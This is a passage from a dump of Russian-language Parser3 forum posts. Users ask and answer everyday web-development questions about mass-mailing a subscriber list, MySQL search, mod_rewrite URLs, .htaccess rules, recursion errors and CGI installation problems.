избыточность я имею в-виду возможность решать аналогичные задачи несколькими способами, например, некоторые варианты циклов можно реализовать и через FOR, и через WHILE, и через REPEAT UNTIL..."
"44632","чтобы обойти проблемы с glibc и прочие подобные сразу."
"44633","имеется база email-адресов, по которым производится рассылка\
До недавнего врмеени рассылка производилась с помощью поля bcc, в который вставлялось 20-30 адресов.\
Но тут понадобилось сделать рассылку по всей базе - около 4000 адресов - и парсер \"расхотел\" рассылать 4000 копий.\
\
Подскажите пожалуйста, каким способом выгоднее рассылать теперь письма\
\
1) разбить базу например на 5 частей и просто пробегать по частям и генерить 4000 писем?\
2) разбить базу на 5 частей и писать 5 писем с 800 копиями\
3) ещё как?\
\
Спасибо"
"44634","кому они нравятся, ими и пользуются.\
мы же стараемся поддерживать свою линию: чтобы коротко, выразительно и удобно.\
в меру сил."
"44635","Спасибо вам всем за дельные советы! Почитал, установил, и всё за день сделал :). Сегодня сделал много дел сразу же после установки и  все так просто. А для тех кто тоже пользуется денвером и не знает как установить пользовательский класс, скажу вам, что в самом классе который вы скачиваете всё описанно и расписанно + документация. Sumo спасибо огромное тебе. Хотя догодался сам, и прочитал в документации."
"44636","еще вопрос:\
\
а как быстрее работать будет ?\
если грузить таблицу адресов - из cfg файла \
или из сёчить sql базу ???\
\
(таблица маленькая - только россия)"
"44637","Подскажите, пожалуйста, как исключить из обработки Parser'ом определенного каталога?\
В частности /home/httpd/html - оставить обрабатывать Parser'ом,\
а содержимое каталога /home/httpd/xxxxx - исключить из обработки...\
\
Заранее спасибо!"
"44638","Прошу прощения.... а Linux Redhat 7.3: Parser 3.1.4 не осталось?\
Для восьмой шапки не надобно(((\
Если есть киньте в меня ссылкой ПОЖАЛУЙСТА!\
\
Спасибо!"
"44640","подскажите как скрыть имя и путь к изображению.\
а именно, есть папка /i/ в этой папке все изображения продукции, необходимо скрыть это хозяйство. как правильно? Люди кому не трудно, подскажите."
"44643","Можно ли средствами Parser3 создать форму поиска на сайте? Нужнали дополнительная установка классов? Если да, то дайте пожалуйста ссылку.А есть ли какая-нибудь ссылка на код Форума. Я понял что он сделан на Parser'e и всё."
"44645","если используешь MySQL(простенький вариант):\
создаешь search.html\
в нем пишешь\
[code]\
^if(def $form:obd){\
^if(def $form:search){\
^connect[$connect_string]{\
$oborud[^table::sql{select [color=\"#ff0000\"]titl, opis, price, put[/color] from oborud where titl LIKE \"%$search1%\" OR opis LIKE \"%$search1%\"}\
]\
}\
\
<div align=\"center\"><fieldset><legend><b>Найденное оборудование</b></legend>\
\
^oborud.menu{ \
\
<b>Наименование - $oborud.titl</b> <br><br>\
\
<a href=\"/b$oborud.put\"><img src=\"/i/default.jpg\" width=\"50\"  height=\"36\" border=\"0\"></a>\
\
<br><br>\
\
\
$oborud.opis <br><br>\
Цена - <b>$oborud.price</b> <br><br><img src=\"/i/lineb.jpg\" width=\"100%\"  height=\"10\" border=\"0\" align=\"top\"><br><br>\
\
\
\
\
}\
</fieldset></div>\
}\
}\
[/code]\
это [color=\"#ff0000\"]titl, opis, price, put[/color] сам знаешь что\
\
а на странице где установил поиск пишешь:\
\
[code]<div align=\"center\">\
<form method=\"get\" action=\"/search.html\">\
<input type=\"hidden\" name=\"obd\" value=\"v\">\
<input type=\"text\" name=\"search\" value=\"поиск\"  style=\"width: 80%\" class=\"form-text\">\
</form>\
</div>[/code]\
\
можешь удалить пробелы с концов [code]$search1.trim[], а потом вызвать ^search1.trim[][/code]"
"44646","Хранить всё в одной таблице, а рассылать порциями по 10 штук и с помощью meta refresh обновлять страницу пока не разошлёшь все письма."
"44647","Что мешает сделать ^table.menu{Отправка сообщения}\
Или использовать ^for...\
или ^while....\
а с рефрешем идея неочень, лучше $file[^file::load[text;http://www.parser.ru/]] \
\
IMHO"
"44648","Спасибо yass. Учту. А ещё бы хотелось код форума."
"44649","а еще полезно посетит разделы: ДОКУМЕНТАЦИЯ, примеры и FAQ."
"44650","Спасибо, гляну."
"44651","Что может при этом пригодиться:\
\
1. Документация.\
2. Примеры.\
3. Поиск по форуму."
"44652","А вообще при чем тут ModRewrite?.."
"44653","[code]RemoveHandler parsed-html[/code]"
"44657","yass c помощью mod rewrite наверное хотел хитрый способ придумать... Чен-ть вроде пользователь заходит в /i/ а его ридеректит на страницу \"Не влезай убъет\". ;-)"
"44658","Используйте, как Вам уже посоветовали, [code]^table.menu{[/code]\
вопрос только в том, что на хостингах часто стоит ограничение на кол-во отправленных писем в промежуток времени."
"44659","Спасибо, Вы так сказать подстегнули во мне надежду на будущее :). Думаю справлюсь, если конечно не нужно знание XML. Тут я полный нуль :). Но всё таки это не проблема. Уже за два дня приличное кол-во кода по разбирал. Вполне не плохой сайт получится, и от PHP не отличит ни кто"
"44660","Поиск на сайте"
"44661","Для поиска по сайту, страницы должны быть проиндексированы, т.е. так или иначе быть добавлены в БД."
"44662","Знание XML необязательно. Впрочем, всё зависит от поставленных задач и методов реализации."
"44663","А каким образом это можно реализовать?"
"44664","Мне нужно главным образом организовать авторизацию, у меня уже ранее получалось так делать, но я тогда ставил в базе свойство для name -- уникальный. И из этого ничего не вышло. Т.е. если чел. пишет в регистрации имя, которое уже находится в базе, то выскакивала ошибка."
"44665","Но теперь я вроде как знаю что нужно делать, но ещё не испытывал код, даже пока и не создал ничего. Буду стараться"
"44666","Чтобы потом не было дурацких вопросов типа «Почему удалили мое сообщение?»"
"44668","Есть файлик с различными методами other.p\
В нём метод @br[str]\
\
Буквально до сего момента этот метод вызывался и работал.\
Но вдруг просто перестал, выдаёт undefined method.\
Другие методы из того же файла продолжают прекрасно работать.\
\
Это не критично. Но просто интересно."
"44669","Для индексации страниц нужен робот. Если выводятся какие-то статиьи например и они берутся из бд, можно напрямую искать. Все от задачи зависит. Вы свой вопрос сформулируйте."
"44671","Этот способ можно использовать только если в таблице немного адресов - иначе парсеру не хватает памяти\
\
Ну, видимо, придётся делать с рефрешем"
"44672","решил ее сооружение \"спула\" сообщений в таблице майскуэль.\
а потом кроном запускал скрипт,\
[code]\
$messages[^table::sql{SELECT email, recipient_name, subject, message FROM mail_spool where sent_flag='no' limit 50}]\
 \
 ^messages.menu{\
\
^mail:send[ \
      $.from[robot@mail.lg.ua] \
      $.to[$messages.recipient_name <$messages.email>] \
      $.subject[$messages.subject] \
      $.text[$messages.message] \
] \
\
 }\
\
[/code]\
\
Домашнее задание - придумать структуру таблицы и как запускать скрипт кроном."
"44673","Есть бд в MySQL текст в UTF,  страницы сайта тоже utf-8 так что текст отображается корректно, но meta keywords\\description я тоже беру с базы, смотрю исходники страницы в IE -> View source и вижу что метатеги крякозябрами - там где не английский текст должен быть. Вопрос, как их будет видеть\\понимать поисковик, будет ли он понимать текст который там на русском или нет"
"44674","Предлагаю изменить mssql.p в примерах:\
\
1. Перекрыть @server[code]###########################################################################\
# установление соединения с sql сервером\
@server[body]\
^connects_count.inc(1)\
^connect[$connect-string]{\
#	Устанавливаем максимально возможную (2Gb) величину вывода\
#	text-полей при select'ах (по умолчанию выдаются только первые два Kb)\
	^sql[void]{SET TEXTSIZE 2147483647}[;]\
#	Указываем MSSQL использовать стандартный формат даты \
#	и времени (незавиимо от regional settings на сервере)	\
	^sql[void]{SET LANGUAGE us_english}[;]\
	^sql[void]{SET DATEFORMAT ymd}[;]\
	$body\
}\
[/code]2. Нашлась функция для хэширования паролей (хреновенькая, но нашлась, см. комментирии):[code]############################################################\
@password[pass]\
# Внимание (1): функция недокументирована. Она может исчезнуть\
# или измениться в новых версиях MSSQL (как это уже произошло\
# при переходе с SQL Server 6.5 на 7.0) - используйте на свой \
# страх и риск. \
# Внимание (2): этот метод хэширования поломали:\
# http://www.theregister.co.uk/2002/07/08/cracking_ms_sql_server_passwords/\
# Внимание (3): функция возвращает значение binary, не текст\
$result[CAST(PWDENCRYPT('$pass') AS varbinary(255))]\
#end @password[][/code]"
"44675","Помогите, как мне укозать максимальное значение id при обращении к базе мол надо мне\
\
$news[^table::sql{SELECT * FROM news WHERE id < 'MAX(id)-$news_limit' ORDER BY date DESC}[$.limit($news_archive_limit)]]\
\
Но я так понял, что записи 'MAX(id)-$news_limit' не так должна выглядеть, но найти как, не могу."
"44676","чем больше таблиц -- тем лучше."
"44677","[code]\
 ^table::sql{\
    select [вписать нужные поля] \
      from news\
  order by date desc\
}[$.offset($news_limit) $.limit($news_archive_limit)]\
[/code]\
\
"
"44678","мемори каомпакт и крон вам в помошь, + столбик в таблице (отправленно) + лимит к скулю"
"44680","Ну так сделайте так, чтобы при запросе содержимого папки /i/ отдавался бы ответ 403 :) (ну только не спрашивайте как это сделать), а дальше все тот же .htaccess:\
\
[code]\
ErrorDocument 403 /error.html\
[/code]"
"44683","В 02:32 наверное больше не буду ни чего писать :)"
"44687","[b][code]$str_n[$form:name]\
    $str_b[$form:date]\
    $n[^str_n.left(3)]\
    $b[^str_b.right(2)]\
    $img[$form:photo]\
		^if(def $form:photo && $img is 'image'){ \
        ^form:photo.save[binary;/upload/photos/${b}/${n}/${n}${b}.gif] \
    }[/code] [/b] Гляньте на выше представленную конструкцию -- она не работает. А точнее не работает 'сохранение изображения'. А задумка была такова: На сайте существует форма, человек пишет имя и дату своего рождения, потм выбирает фото и отправляет на сайт. Наличие фотографии не обязательно, но если фотка есть, идет обработка файла, а точнее он фильтруется по такому принцыпу: изображение сохранить, всё другое не нужно и с ним можно ничего не делать. Но что-то я напутал. И думаю вся ошибка заключается в проверке типа операнда(Так как без && $img is 'image' всё работает). Вообще тип файла image существует?"
"44688","http://www.parser.ru/forum/?id=15824"
"44690","Товарищи подскажите пожалуйста программку, которая позволяет `cvs log` переделать в нормальный `changelog` под Windows. Т.е. нужен аналог http://www.red-bean.com/cvs2cl/, но под винду.\
\
А может подскажете как заставить работать тот скрипт, если кто-то сталкивался."
"44691","Использую такой запрос\
[code]SELECT `id` FROM `sovpadeniya` WHERE `tip`=1 AND (`sovp1` = \"Строка\" OR `sovp2` = \"Строка\" OR `sovp3` = \"Строка\" OR `sovp4` = \"Строка\")\
[/code]\
Какие индексы нужно или не нужно использовать?\
Какие настройки Mysql нужно или не нужно поменять(свой сервер)?\
Где можно найти литературу на уровне чайников? Пытался читать ДОкуменацию по Mysql, но то ли перевод там плохой, то ли я со своим незаконченным высшим не туда сунулся - вообщем ничего не понятно."
"44694","Не могу понять в чем дело функция main автоматически не запускается.\
  Вот простой пример, файла [b]auto.p[/b]\
  [code]\
    @main[]\
     ^pre[]\
     ^pri[]\
\
    @pre[]\
    Тест\
\
    @pri[]\
    Тест 2\
[/code]\
\
В чем может быть причина?"
"44695","согласен,правила нет, но а как иначе? %-)"
"44697","я же описал свой опыт ползанья по доке"
"44698","В продолжении к [url=\"http://www.parser.ru/forum/?id=44562\"]http://www.parser.ru/forum/?id=44562[/url]\
Хочу сказать спасибо всем за ответы.А теперь к делу:\
[code]\
#################################################################################################\
# грузит + кеширует + процессит + исполняет код обработчика\
@prepareProcesess[dataProcessID][dataProcessMain;dataProcessFileName;dataProcessFile;dataProcessBody]\
# обработчик может быть еще не загружен\
^if(!$PROCESSES.[$dataProcessID].processBodyLoaded){\
#	замена имени @main[...] обработчика\
	$dataProcessMain[process_${dataProcessID}_main]\
	^try{\
#		полный путь до обработчика\
		$dataProcessFileName[${SYSTEM.processDir}$PROCESSES.[$dataProcessID].filename]\
		$dataProcessFile[^file::load[text;$dataProcessFileName]]\
#		тело обработчика\
		$dataProcessBody[^taint[as-is][$dataProcessFile.text]]\
	\
#		компиляция обработчика в текущем (класс engine) контексте\
		^process{@${dataProcessMain}^[blockParam^;blockBody^]\
$dataProcessBody}[\
#			$.main[$dataProcessMain]\
			$.file[$dataProcessFileName]\
			]\
			\
#		добавление информации в хеш о main dataProcess\
		$PROCESSES.[$dataProcessID].main[$$dataProcessMain]\
	}{\
#		что-то случилось при чтении и компиляции\
#		для использования в debug целях закомментировать\
		$exception.handled(1)\
	}\
#	в любом случае сохранить, что была предзагрузка\
#	никогда не приведет к повторной компиляции обработчика\
	$PROCESSES.[$dataProcessID].processBodyLoaded(1)\
\
}\
#end @prepareProcesess[]\
#################################################################################################\
# запуск обработчиков объектов\
# в принципе, то-же самое что executeBlock, но обработчику объекта может сваиться от передачи ему пустых параметров :) \
@executeProcess[dataProcessID]\
# подготовка обработчика к использованию\
^prepareProcesess[$dataProcessID]\
# запуск обработчика\
^if($PROCESSES.[$dataProcessID].main is junction){\
# запуск обработчика\
	$result[^PROCESSES.[$dataProcessID].main[]]\
}{\
#	нужно убрать кактус с подоконника\
	$result[]\
}\
#end @executeProcess[]\
\
\
\
#################################################################################################\
# запуск обработчиков блоков\
@executeBlock[dataProcessID;blockParam;blockBody]\
# подготовка обработчика к использованию\
^prepareProcesess[$dataProcessID]\
# запуск обработчика\
^if($PROCESSES.[$dataProcessID].main is junction){\
	$result[^PROCESSES.[$dataProcessID].main[$blockParam;$blockBody]]\
}{\
	$result[]\
}\
#end @executeBlock[]\
#################################################################################################\
@printBlock[blockFields][data]\
^if(^blockFields.is_not_empty.int(0)){\
\
#	сбор параметров блока\
	$blockParams[^parseBlockParams[$blockFields.attr]]\
#	сбор тела\
	$blockData[^taint[as-is][$blockFields.data]]\
\
#	передача управления обработчику блока (если есть)\
	^if(^blockFields.data_process_id.int(0)){\
		$blockData[^executeBlock[$blockFields.data_process_id;$blockParams;$blockData]]	\
	}\
#	замена спец конструкций в теле блока\
	$blockData[^parseBlockPostProcess[$blockParams;$blockData]]\
\
#	вывод блока\
	$result[<$blockFields.name>$blockData</$blockFields.name>]\
}{\
#	пустой блок без обработчика\
	$result[]\
}\
#end @printBlock[]\
\
\
\
#################################################################################################\
# из переданного xml формирует hash с параметрами обработки блока\
@parseBlockParams[blockAttr]\
\
# хэш блока\
$result[^hash::create[]]\
\
^if(def $blockAttr){\
	^try{\
#		xdoc документ с атрибутами блока\
		$params[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
			<params>\
				^taint[as-is][$blockAttr]\
			</params>\
		}]	\
#		выборка список параметров\
		$params[^params.select[/params/*]]\
#		сбор хэша блока\
		^for[i](0;$params-1){\
			$node[$params.$i]\
			$result.[$node.nodeName][$node.firstChild.nodeValue]\
		}\
	}{\
#		если произошла ошибка сборки (обработки) xml\
#		как result - пустой хэш\
		^if($exception.type eq xml){$exception.handled(1)}\
   	}\
}\
#end @parseBlockParams[]\
#################################################################################################\
# парсер блоков\
# подразумевается вызов из обработчиков объектов\
# для обработки блока name контекстного объекта -> ^parseBlock[name]\
# для обработки блока name объекта с ID 777 (в его контексте) -> ^parseBlock[name;777]\
@parse_block[name;objectID][object;oldObjectID;allBlocks;nameBlocks]\
\
# подмена контекстного объекта\
^if(^objectID.int(0) && $objectID != $OBJECT.id){\
#	объект подмены\
	$object[$OBJECT_HASH.[$objectID]]\
	^if(def $object){\
#		сохрание id контекстного объекта для будущего сосстановления\
		$oldObjectID($OBJECT.id)\
#		подмена $OBJECT\
		$OBJECT[$object]\
	}\
}\
\
# загрузка блоков\
^if(!$BLOCKS.[$OBJECT.id].isLoaded){\
	$allBlocks[^getSqlBlocks[$.where[object_id = $OBJECT.id AND block.is_published = 1]]]\
#	хэш блоков по полю name\
	$allBlocks[^allBlocks.hash[name][$.distinct[tables]]]\
#	добавление блоков к хэш для повторного обращения\
	$BLOCKS.[$OBJECT.id][$allBlocks]\
#	бит - блоки загружены\
	$BLOCKS.[$OBJECT.id].isLoaded(1)\
}\
\
# кусок хэша с блоками name\
$nameBlocks[$BLOCKS.[$OBJECT.id].[$name]]\
\
^if(def $nameBlocks){\
#	обработка найденых блоков\
	$result[^nameBlocks.menu{^printBlock[$nameBlocks.fields]}]\
}{\
#	совсем ничего нет\
	$result[]\
}\
\
# возврат контекстного объекта\
^if($oldObjectID){\
#	обратная подмена подмена $OBJECT\
	$OBJECT[$OBJECT_HASH.[$oldObjectID]]\
}\
#end @parse_block[]\
\
\
\
#################################################################################################\
# для обратой совместимости\
@parseBlock[name;objectID]\
$result[^parse_block[$name;$objectID]]\
#end @parseBlock[]\
[/code]\
Поправил немного код теперь обработчику передаётся 2 параметра(blockParam и blockBody).При обработке блока ошибки про maximum parameters больше нет, но появилась другая ошибка:\
[quot]В работе Parser произошла ошибка:\
\
call canceled - endless recursion detected\
\
Ошибку вызвал этот фрагмент:\
if\
Ошибка произошла при работе с файлом:\
\
//classes/engine.p, строка номер 352\
\
Вот что говорится в FAQ об этой ошибке:\
\
Подобное сообщение появляется, если парсеру кажется, что код зациклился. Очень часто причиной может быть некорректная или очень глубокая рекурсия (более 1000 вызовов).\
Последовательность операций, которая привела к ошибке:\
(от самой последней вверху списка до самой первой внизу)\
\
    * prepareProcesess: //classes/engine.p строка 407\
    * executeBlock: //classes/engine.p строка 442\
    * if: //classes/engine.p строка 441\
    * if: //classes/engine.p строка 433\
    * printBlock: //classes/engine.p строка 627\
    * menu: //classes/engine.p строка 627\
    * if: //classes/engine.p строка 625\
    * parse_block: //classes/engine.p строка 645\
    * parseBlock: //classes/shared/processes/process строка 14\
    * main: //classes/engine.p строка 410\
    * if: //classes/engine.p строка 409\
    * executeBlock: //classes/engine.p строка 442\
    * if: //classes/engine.p строка 441\
    * if: //classes/engine.p строка 433\
    * printBlock: //classes/engine.p строка 627\
    * menu: //classes/engine.p строка 627\
    * if: //classes/engine.p строка 625\
    * parse_block: //classes/engine.p строка 645\
    * parseBlock: //classes/shared/processes/process строка 14\
    * main: //classes/engine.p строка 410\
    * if: //classes/engine.p строка 409\
    * executeBlock: //classes/engine.p строка 442\
    * if: //classes/engine.p строка 441\
    * if: //classes/engine.p строка 433\
    * printBlock: //classes/engine.p строка 627\
    * menu: //classes/engine.p строка 627\
    * if: //classes/engine.p строка 625\
    * parse_block: //classes/engine.p строка 645\
    * parseBlock: //classes/shared/processes/process строка 14\
    * main: //classes/engine.p строка 410\
    * if: //classes/engine.p строка 409\
    * executeBlock: //classes/engine.p строка 442\
    * if: //classes/engine.p строка 441\
    * if: //classes/engine.p строка 433\
    * printBlock: //classes/engine.p строка 627\
    * menu: //classes/engine.p строка 627\
    * if: //classes/engine.p строка 625\
    * parse_block: //classes/engine.p строка 645\
    * parseBlock: //classes/shared/processes/process строка 14\
    * main: //classes/engine.p строка 410\
    * if: //classes/engine.p строка 409\
    * executeBlock: //classes/engine.p строка 442\
    * if: //classes/engine.p строка 441\
    * if: //classes/engine.p строка 433\
    * printBlock: //classes/engine.p строка 627\
..................................................\
[/quot]\
И так далее...\
Я понял, что код зациклился, но не могу найти причину зацикливания.\
Пожалуйста помогите найти причину ошибки, буду очень благодарен."
"44699","где взяли SQL драйвера для MSSQL?"
"44701","Пожалуйста не посылайте меня в поиск и урок где описан потсраничный вывод .. \
Я не понимаю как его сделать в http://www.parser.ru/docs/lang/lesson3.htm в этот новостной скрипт ? \
Мне очень надо и очень срочно , прошу помогите а ? \
Я на вас надеюсь , заранее благодарен Шурик...."
"44703","У меня не получаеться его поставить ..\
Скопировал вот это в news/index.html:\
[code]\
$news_count(^MAIN:pSQL.int{\
	SELECT\
		COUNT(*)\
	FROM\
		news\
	WHERE\
		is_published = 1\
})\
\
$news_per_page(20)\
$pages[^scroller::init[$news_count;$news_per_page;page]]\
^pages.print[\
	$.target_url[/news/]\
	$.nav_count(9)\
	$.mode[html]\
]\
$news[^MAIN:pSQL.table{\
	SELECT\
		news_id AS id,\
		title,\
		^MAIN:pSQL.date_format[dt;%d.%m.%Y] AS dt\
	FROM\
		news\
	ORDER BY\
		news.dt DESC\
}[\
	$.offset($pages.offset)\
	$.limit($pages.limit)\
]]\
<ul>\
^news.menu{\
	<li><b>$news.dt</b><br /><a href=\"/news/?id=$news.id\">$news.title</a></li>\
}\
</ul>[/code]\
Класс скроллера подключил, класс psql.p подклюл !\
Пишет ошибку \
\
Unhandled Exception (Debug)\
\
invalid number (int)\
\
SELECT COUNT(*) FROM news WHERE is_published = 1\
\
z:/home/172.16.152.74/www/test/news/index.html(99)\
\
exception.type=number.format\
\
Что я делаю не так ?"
"44704","Есть  очень простая в понимании и в написании [url=\"http://www.williamspublishing.com/Books/5-8459-0827-2.html\"]книга по SQL[/url]. В сети можно скачать электронный вариант."
"44707","Для упрощения задачи написал свой класс. Названия объектов класса храняться в БД (просто динамически вытаскиваются объекты в зависимости от задачи).\
Встал вопрос: как присобачить название объкта, выдернутое из БД к имени самого класса, т.к. констукция вида:\
[code]\
$class[^table::sql{select id, name from add_1}]\
\
^class.menu{\
^products:${class.name}[]\
}\
[/code]\
не работает.\
Хранить в базе полные названия не могу, т.к. потом из этих же имен констуируется обработка форм, которые как раз и определены в вышеупомянутом классе...\
Помогите кто знает, доку читал, там про это не сильно сказано..."
"44709","[code]\
$news_count(^MAIN:pSQL.int{\
	SELECT\
		COUNT(news_id)\
	FROM\
		news\
	WHERE\
		is_published = 1\
}[$.default{0}])\
[/code]"
"44713","Но, может быть, к чему-то подтолкнет :-)"
"44717","Хе-хе я уже об этом подумал и добавил ПСЕВДОСЛУЧАЙНОЕ ЧИСЛО 0-100000."
"44719","Правильно. В базу данных. При записи им присваивается уникальный id. Так? Тогда почему бы нам и картинки не называть по этому id?.."
"44720","А если пользователь ввел имя по русски? Есть ли какой-нибудь код для замены русских букв латинницей? Или может просто удалить ДВЕ БУКВЫ ИМЕНИ? Ну короче задумка, хорошая а вот план реализации плохой, мне ещё предстаит прописать в базу данных к каждому аккаунту путь \"ЕГО\" фотографии... Вот такие вот оладья... не... блины..."
"44721","прикол в том, что конструкция на PERL \
[code]\
$ENV{'HTTP_REFERER'}\
[/code]\
в той же ситуации возвращает то, что и ожидается, а именно адрес сайта с которого пришли."
"44722","Проверял. Работает\
\
[code]\
$class[^table::sql{select id, name from add_1}]\
\
^class.menu{\
   ^products:[$class.name][]\
}\
[/code]"
"44724","Извините конечно за тупость но всёравно не получаеться теперь пишет\
 \
Unhandled Exception (Debug)\
\
method of void (void) accepts maximum 1 parameter(s)\
\
int\
\
z:/home/172.16.152.74/www/test/news/index.html(100)\
\
exception.type=parser.runtime"
"44725","поиски по сайту уже достаточно обсуждались.\
вопрос закрыт."
"44726","выделите проблему в bug.html, чтобы воспроизводилась, и пришлите, исправлю!"
"44727","проще всего проверять так:\
[code]\
$table[^table::sql{select ...}]\
^table.save[/test.txt]\
[/code]\
и изучить ваш test.txt: теория: в файле часть текста нормальна, часть нет.\
если так, в вашу базу данных как-то попал мусор."
"44729","я пользуюсь тем, что запускается изнутри WinCVS.\
на tcl написан.\
\
но это в scheduler не засунешь.."
"44730","при прямом вызове cgi скрипта: поле называется просто.\
при вызове его через Action, а именно так вызывается parser3.cgi, Apache передает чуть другую переменную."
"44734","О! И это тоже идея! Но  вот только опять у меня не получается. Уже и Try перепробывал и конструкцию ... is ..."
"44737","вы ведь что сделали: положили env.pl и перешли по ссылке <a href=http://server/cgi-bin/env.pl>.\
а надо было:\
назначить этот файл обработчиком .html страниц (как вы назначаете parser3.cgi), и только после этого перейти по ссылке вида <a href=http://server/test.html>"
"44738","При попытке обратиться к скрипту никакой ошибки не выдаёт, а в логах пишет следующие:\
[Mon Sep 19 14:48:49 2005] [16692] CGI: illegal call (missing PATH_INFO)\
Что это означает? И как с ним бороться?\
При попытке обратиться к index.html выдает 404 ошибку."
"44739","видимо вы вызываете все же разные методы класса products. Я бы на вашем месте переписал класс так, чтобы он имел только один метод, принимающий в качестве переметра строку. Т.е. не\
\
^products:ClassName[], a ^products:method[ClassName]\
\
гораздо лучше во всех смыслах"
"44740","Я в первом посте (и здесь тоже http://www.parser.ru/forum/?id=29231) на эту тему писал, что при переходах внутри сайта или с другого сайта который не https все работает. И \"чисто PERL\" ее отображает даже при переходе с https.\
\
Или может быть \"ну его\", если HTTP_REFERER может быть подделан? Но очень хочется проверять, с платежного ли терминала попадает человек на сайт или нет"
"44741","ваш провайдер вызывает CGI скрипты не так, как это делает apache у всех остальных.\
\
очевидно, опять выдумали какую-то «повышающую security» прослойку.\
\
что это за сообщение, подробно расписано в исходном файле.\
как бороться: простого средства нет.\
\
сложное средство: разберитесь, что же за environment переменные передаются в parser3.cgi, и обеспечте, чтобы передавался PATH_INFO так, как это происходит в любом доступном вам месте (на вашей домашней машине, например).\
обеспечить можно, например, небольшой прослойкой на .sh"
"44742","безусловно. доверять ему совсем нельзя. можно пользоваться только для непринципиальной функциональности.\
\
что до передачи — я описал, как надо проверять. не хотите проверять, не нужно."
"44743","Здравствуйте.\
У меня такая проблема:\
Установлен Apache 1.3.14 под winXP. Сам сервер работает вообщем-то без проблем. Чего не скажешь об .htaccess – почему-то этот файл не работает вообще не  в Apache 1.3.14, не в Apache 1.3.33. \
Может быть я как-то не так настраиваю - httpd.conf.\
Может быть у кого-то есть httpd.conf сконфигурированный для работы .htaccess под windows. \
Пришлите буду очень признателен).\
С уважением Алексей washik@inbox.ru"
"44746","существует следующая проблема\
информация из бд достается по id;\
нужно чтобы вместо строки\
www.site.ru/?id=1\
было \
www.site.ru/about/\
где about название страницы в бд.\
Видел подобное решение на пхп.\
Подскажите пожалуйста как лучше это реализовать.\
И еще вопрос будет ли это быстрее чем доставать из бд просто по столбцу varchar /?about и обрезать через мод до нужной кондиции\
Заранее спасибо"
"44748","из базы данных выводится информация, а именно картинки по строкам\
нужно чтобы получалось примерно так\
 все строки выводятся при помощи оператора меню.\
<div id=\"string1\"></div>\
<div ></div>\
<div id=\"string1\"></div>\
<div ></div>\
Нужно как мне кажеться определить переменную и в зависимости от значения строки подставлять в код.\
Но вот как сделать подобный скрипт ума не приложу.\
Заранее спасибо за любые идеи."
"44749","Простой вариант:\
\
В БД:\
В таблице со страницами создаете поле, где будет храниться путь странички на сайте.\
\
В htaccess:\
[code]\
RewriteEngine	on\
RewriteOptions	inherit\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	/index.html?uri=$1	[QSA,L]\
[/code]\
\
В index.html получаете параметры и достаете из БД запрошенную страницу.\
\
Также стОит поискать по форуму это много раз обсуждалось."
"44750","что именно не получается?"
"44751","Если я правильно понял, то Вам нужно поделить строки на четные и нечетные. \
Делается это так: \
[code]\
^table.offset[]%2\
[/code]\
У четных остаток от деления равен нулю."
"44752","Немного не понимаю связи в моде\
если я все ссылки в документе делаю как ?url=id\
то как огн соотносит их со значениями бд"
"44753","Там нет таблицы...\
там дивы\
в том то и дело что с таким вопросо я никогда не сталкивался\
А пхп никогда не пользовался\
мне бы хоть пример поннятный, чтобы можно это реализовать\
На пхп это написано так:\
\
<?\
$i = 1;\
$works_q = mysql_query (\"SELECT * from works order by id DESC\");\
while ($works = mysql_fetch_array ($works_q)) { \
if ($i==2) { \
$class = \"class=bg_tr\";\
$i = 0;\
} else {\
$class = \"\";\
}\
?>\
буду очень благодарен зха любую помощь,\
просто все остальное уже написано не хватает только этой детали."
"44754","Для этого и существет mod_rewrite.\
Пользователю выводится то что мы хотим например /dir/1/\
а сервер понимает это как /dir/page=1 например\
\
Делается это для красоты, все рассуждения о том что псевдостатика помогает оптимизировать сайт под поисковики - уже давно устаревшая мысль."
"44755","так а как он соотносит /about/\
?url=id\
, как сделать это с цифрами я знаю и обрезать название, но я просто не понимаю как он соотносит request и id"
"44757","На платной агаве все замечательно работает..."
"44758","Все разобрался. Спасибо."
"44759","Что нужно? опишите словами. Через строчку класс объека менять?"
"44760","через строчку подставлять в тег одно из двух значений"
"44761","Так я Вам уже написал....\
[code]\
^table.offset[]%2\
[/code]\
Если нет остатка значит четное смещение, если нет значит нечетное.\
И нет никакой разницы что вы делаете таблицу или div...\
\
Как вы сказали, у вас объекты выводятся в операторе menu, следовательно на выходе (перед использованием menu) вы имеете таблицу..."
"44762","я имею ввиду как он соотносит тот path который в бд с id в  базе данных.\
ведь ссылки с сайта идут с id a path достается из бд.\
то есть <a href=\"?id=1\">\
а в выводит\
/about/\
about/ идет в бд\
если можно то немного подробнее просто такого никогда не делал обычно просто обрезал /1/"
"44763","Какой regexp напишите так и будет...\
Просто в вашем случае их будет наверное несколько."
"44764","Если имеете ввиду вывод в меню - то вообще непонятно зачем там изначально ?id=1\
Что мешает сразу писать href=\"/about/something/\"\
\
А если просто, например в контенте страницы нужно ссылатся на другую то - regexp \
\
Почитайте описание Engine от Misha V.3 (http://misha.design.ru/hobby/progr/engine4.html) и найдите в форуме ссылку кто-то опубликовывал на неполную реализацию подобного движка (antistatic если не ошибаюсь) - возможно многое прояснится..."
"44765","закачал в бинаре\
а все равно выдает:\
\
/usr/libexec/ld-elf.so.1: Shared object \"libm.so.2\" not found, required by \"parser3.cgi\"\
[Mon Sep 19 20:36:10 2005] [error] [client 195.218.236.122] Premature end of script headers: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
[Mon Sep 19 20:52:26 2005] [error] [client 207.145.86.162] file permissions deny server execution: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
[Mon Sep 19 20:52:28 2005] [error] [client 207.145.86.162] file permissions deny server execution: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
[Mon Sep 19 20:52:40 2005] [error] [client 207.145.86.162] file permissions deny server execution: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
[Mon Sep 19 20:53:16 2005] [error] [client 207.145.86.162] file permissions deny server execution: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
[Mon Sep 19 20:54:50 2005] [error] [client 207.145.86.162] file permissions deny server execution: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
[Mon Sep 19 20:56:15 2005] [error] [client 207.145.86.162] file permissions deny server execution: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
[Mon Sep 19 20:57:46 2005] [error] [client 195.218.236.122] File does not exist: /home/igorkolb/www/site1/public_html/favicon.ico\
